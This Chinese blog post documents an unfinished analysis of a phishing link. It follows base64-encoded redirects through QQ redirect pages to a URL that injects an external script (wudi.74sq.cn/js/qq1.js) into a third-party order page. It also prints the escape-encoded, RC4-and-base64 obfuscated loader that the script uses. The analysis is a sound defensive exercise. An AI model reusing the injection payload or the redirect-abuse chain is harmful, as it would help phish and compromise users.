记一次失败的钓鱼地址代码解析

今天在锋之刃公开课问题解答群里闲逛的时候,看到一哥们发出了一个地址,他说是他朋友发他的可能是木马地址。网址是https://url.cn/5aEvzhd&LIkhsGUryZ 直接在PC上打开后,是显示的一只狗很...

今天在锋之刃公开课问题解答群里闲逛的时候,看到一哥们发出了一个地址,他说是他朋友发他的可能是木马地址。

网址是

https://url.cn/5aEvzhd&LIkhsGUryZ

直接在PC上打开后,是显示的一只狗

image.png


很显然没有这么简单,看来对方做了客户端验证,只有访问端是手机端的才会显示真实代码。

如果你想知道如何用代码来判断是否是手机端。请参考文章:

https://www.hellojava.com/a/44073.html

这时候我们就需要用到一些谷歌浏览器的技巧:

我们在浏览器里按下F12,打开开发者工具:

点击手机图标,将浏览器切换成移动端访问:

image.png

这时候我们来输入之前的地址:https://url.cn/5aEvzhd&LIkhsGUryZ 

在一些列刷刷刷的网址跳转后,我们调到了最终的地址:

http://order.guagua.cn/buyRoom!default.jspa?goods_id=838%3C/title%3E%3Cbody/hidden%3E%00%00%00%00%00%00%00%00%3CscripT%20src=////wudi.74sq.cn/js/qq1.js%3E%3C/scripT%3E

看上去应该是利用了Struts2的特性来购买商品了。

====

我们先打住,我们先慢慢来,我不想刷刷刷的,都不知道发生了什么。

我们想办法来看看源码,我们在浏览器里输入:

view-source:https://url.cn/5aEvzhd&LIkhsGUryZ

网页自动跳转到了:

view-source:https://apps.game.qq.com/ams/wxlogin_redirect.html?s_url=aHR0cHM6Ly9hcHBzLmdhbWUucXEuY29tL2Ftcy93eGxvZ2luX3JlZGlyZWN0Lmh0bWw/c191cmw9YUhSMGNITTZMeTloY0hCekxtZGhiV1V1Y1hFdVkyOXRMMkZ0Y3k5M2VHeHZaMmx1WDNKbFpHbHlaV04wTG1oMGJXdy9jMTkxY213OVlVaFNNR05FYjNaTU0wWnBZME0wZWxwNU5YaGpVelZxWWpJd2RtTjZPVEZRVjJnd1pFaENlazlwT0haa1dFcHpURzFPZFV4NlZtaGhXRlpRVTJ0clBRPT0=!--&LIkhsGUryZ

嗯,这个看上去像是QQ游戏下的一个跳转地址啊。 这个是钓鱼网站常用的手段。还好鹅厂程序员明明比较规范。

可以看到get参数:

s_url=aHR0cHM6Ly9hcHBzLmdhbWUucXEuY29tL2Ftcy93eGxvZ2luX3JlZGlyZWN0Lmh0bWw/c191cmw9YUhSMGNITTZMeTloY0hCekxtZGhiV1V1Y1hFdVkyOXRMMkZ0Y3k5M2VHeHZaMmx1WDNKbFpHbHlaV04wTG1oMGJXdy9jMTkxY213OVlVaFNNR05FYjNaTU0wWnBZME0wZWxwNU5YaGpVelZxWWpJd2RtTjZPVEZRVjJnd1pFaENlazlwT0haa1dFcHpURzFPZFV4NlZtaGhXRlpRVTJ0clBRPT0=

这个后面一串很显然就是url,只是它被base64编码过,所以我们看不出来。

那我们开始解码,解码网址:http://www.bejson.com/enc/base64/

我们把s_url后面的这串地址解码,出现了:

image.png


又是一段跳转地址,又是BASE64编码的。

https://apps.game.qq.com/ams/wxlogin_redirect.html?s_url=aHR0cHM6Ly9hcHBzLmdhbWUucXEuY29tL2Ftcy93eGxvZ2luX3JlZGlyZWN0Lmh0bWw/c191cmw9YUhSMGNEb3ZMM0ZpY0M0elp5NXhjUzVqYjIwdmN6OTFQV2gwZEhCek9pOHZkWEpzTG1OdUx6VmhhWFZQU2trPQ==

那我们继续上面的步骤

我们又拿到了

https://apps.game.qq.com/ams/wxlogin_redirect.html?s_url=aHR0cDovL3FicC4zZy5xcS5jb20vcz91PWh0dHBzOi8vdXJsLmNuLzVhaXVPSkk=

再继续之前的步骤后,我们拿到了一个短地址:

image.png

http://qbp.3g.qq.com/s?u=https://url.cn/5aiuOJI

根据之前的经验,我们可以知道 

https://url.cn/5aiuOJI

这个又是即将跳转到的目标页面。

我们继续看代码:

在执行 

view-source:https://url.cn/5aiuOJI

操作后,居然调到了csdn,真是牛了个大逼呀,连CSDN都给搞了。

image.png

图中出现了一个新的地址。不怕,我们还是看代码

在对上面的地址进行源码查看后,它调到了最终的代码:

image.png

这是一个脚本跳转的地址:

image.png

进行URL解码后拿到了最终的样子:

前面不知道是什么鬼。后面是个js

记录下JS

wudi.74sq.cn/js/qq1.js

我要先撤了,后续再补上


======================

继续 我们来分析上面的网址:

在打开源码后,我们看到了代码:

image.png

最下面一行的base64编码我们可以先不用管了,他只是提供一个base64编码函数。

7-16行代码做了下面几个步骤:

  1. 动态创建了一个iframe

  2. 设置iframe的指向是百度的favicon小图标

  3. 设置窗口为隐藏

  4. 并且在iframe生成后的第9毫秒移除窗口,

上面的步骤我也没搞懂他在座什么,难道是动态修改网页的favicon图标?


不过无所谓,最重要的是第1-6行代码:

1-6代码的意思是,

1. 以替换当前网页的形式打开一个窗口并以写入内容:

unescape("%3Chtml%3E%0A%3Chead%3E%0A%3Cmeta%20http-equiv%3D%22content-type%22%20content%3D%22text/html%3Bcharset%3Dutf-8%22%3E%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%22IE%3DEdge%22%3E%3Cmeta%20content%3D%22always%22%20name%3D%22referrer%22%3E%0A%3Cscript%20type%3D%22text/javascript%22%3E%0Adocument.write%28decodeURIComponent%28arcfour%28%2236a9dc5d29d54b46793d0c682298dbab%22%2Cbase64_decode%28%22EzORpUle/yXbsLMJsHj2lt+3Y2Rns99J/Lj37LvRiWWB4Sxf075faqUVJ85nCvGPE2VhEVzCxaa3SNtNQVmxTwiW7xoDJXHJC7g4YhkBMxWFvSPf7bmJBojZsq/vyWOPe8uHMpDGYd1XJcqNY1Z4T6CwxCCK+TLfqJkC9d8KTGR+1aZqyLoLttwCLVdzceuZTddKZHuVPUGbh+0WorBVz+JdGk7lmAiZlGMd9kxuDbqvvW6LguR8teQkNAdM+KukG90+pKaGqSVYTBRTUCfJpqS3oA2sVzPHgRDRUA4uelzPC+31esGj6MXfZf7GbC4Z/WzBi6WsTrVAVvzq3oI6RoUEXa7KHj7bWi9b1BhFDxrqihtxwwpYXeWYBmMOrmgyTSiMN7hKxkKp+IGwT6s+KydpW8bT2CshYYffIHO7vu3NpWJQ/p1QLjMl0NlUZntT7TLwUWNdz5Qm95s3zaIJWwjqt+IqwhsSbvqDPwpq8jXtlGpDnNB7u0hPZg%3D%3D%22%29%29%29%29%3B%0A%3C/script%3E%0A%3C/head%3E%0A%3Cbody%3E%0A%3C/body%3E%0A%3C/html%3E")

2.然后关闭窗口。


很明显第1步中的代码进行了escape编码。我需要知道里面编码的内容是什么。

escape解码工具:http://www.bejson.com/enc/escape/

解码结果:

image.png

解码内容是一段多重编码加密后的内容。

分细下内容就是:

  1. base64解码一串BASE64编码字符。

  2. 通过传入秘钥进行RC4解密第一步中的base64明文

  3. 看代码中得出第二步代码应该返回的是一串URL编码后的内容。

  4. 输出第三步URL解码后的内容。


我们尝试解码BASE6内容,得到如下结果:

这次BASE64解码比较特殊,应该是文件流。

我们使用解码工具:http://base64.xpcha.com/

解得的内容是:

image.png


所以,我就死在这一步了。求高手告知如何对文件流进行RC4解密

 


先记录下后面的一段代码:

document.write(decodeURIComponent(arcfour("36a9dc5d29d54b46793d0c682298dbab",base64_decode("EzORpUle/yXbsLMJsHj2lt+3Y2Rns99J/Lj37LvRiWWB4Sxf075faqUVJ85nCvGPE2VhEVzCxaa3SNtNQVmxTwiW7xoDJXHJC7g4YhkBMxWFvSPf7bmJBojZsq/vyWOPe8uHMpDGYd1XJcqNY1Z4T6CwxCCK+TLfqJkC9d8KTGR+1aZqyLoLttwCLVdzceuZTddKZHuVPUGbh+0WorBVz+JdGk7lmAiZlGMd9kxuDbqvvW6LguR8teQkNAdM+KukG90+pKaGqSVYTBRTUCfJpqS3oA2sVzPHgRDRUA4uelzPC+31esGj6MXfZf7GbC4Z/WzBi6WsTrVAVvzq3oI6RoUEXa7KHj7bWi9b1BhFDxrqihtxwwpYXeWYBmMOrmgyTSiMN7hKxkKp+IGwT6s+KydpW8bT2CshYYffIHO7vu3NpWJQ/p1QLjMl0NlUZntT7TLwUWNdz5Qm95s3zaIJWwjqt+IqwhsSbvqDPwpq8jXtlGpDnNB7u0hPZg=="))));

document.write(decodeURIComponent(CryptoJS.RC4.decrypt(window.atob("EzORpUle/yXbsLMJsHj2lt+3Y2Rns99J/Lj37LvRiWWB4Sxf075faqUVJ85nCvGPE2VhEVzCxaa3SNtNQVmxTwiW7xoDJXHJC7g4YhkBMxWFvSPf7bmJBojZsq/vyWOPe8uHMpDGYd1XJcqNY1Z4T6CwxCCK+TLfqJkC9d8KTGR+1aZqyLoLttwCLVdzceuZTddKZHuVPUGbh+0WorBVz+JdGk7lmAiZlGMd9kxuDbqvvW6LguR8teQkNAdM+KukG90+pKaGqSVYTBRTUCfJpqS3oA2sVzPHgRDRUA4uelzPC+31esGj6MXfZf7GbC4Z/WzBi6WsTrVAVvzq3oI6RoUEXa7KHj7bWi9b1BhFDxrqihtxwwpYXeWYBmMOrmgyTSiMN7hKxkKp+IGwT6s+KydpW8bT2CshYYffIHO7vu3NpWJQ/p1QLjMl0NlUZntT7TLwUWNdz5Qm95s3zaIJWwjqt+IqwhsSbvqDPwpq8jXtlGpDnNB7u0hPZg=="),"36a9dc5d29d54b46793d0c682298dbab")));



条评论

请先 登录 后评论
不写代码的码农
三叔

422 篇文章

作家榜 »

  1. 小编 文章
返回顶部
部分文章转自于网络,若有侵权请联系我们删除